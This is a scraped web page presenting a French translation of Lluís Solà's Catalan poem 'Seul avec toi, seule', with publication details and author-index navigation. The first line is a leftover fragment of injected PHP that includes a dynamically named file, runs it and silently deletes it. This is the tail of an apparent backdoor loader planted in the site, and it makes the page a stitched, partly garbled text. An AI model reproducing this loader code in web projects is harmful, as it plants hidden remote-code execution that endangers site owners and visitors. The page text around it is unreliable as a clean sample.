");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Seul avec toi, seule - Lluís Solà
Facebook Twitter

De veu en veu: obra poètica I (1960-1999)

Lluís Solà
Seul avec toi, seule

Seul avec toi, seule.
Pour personne. Dans
la poussière natale
de feuilles oubliées,
dans le bruissement turbulent
d'astres futurs,
partout, constant
partage l'ombre.

Agenouillée, réfléchie,
martyrisée,
voix qui a perdu
sa bouche.

Traducido por François- Michel Durazzo
Lluís Solà, Seul avec toi, seule. A: 48 poètes catalans pour le XXIè siècle. [s.ll]: Écrits des Forges, 2005, p. 25.
Lluís Solà, 2012. Foto: Àngels Jordà
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Poesía
Con el soporte de: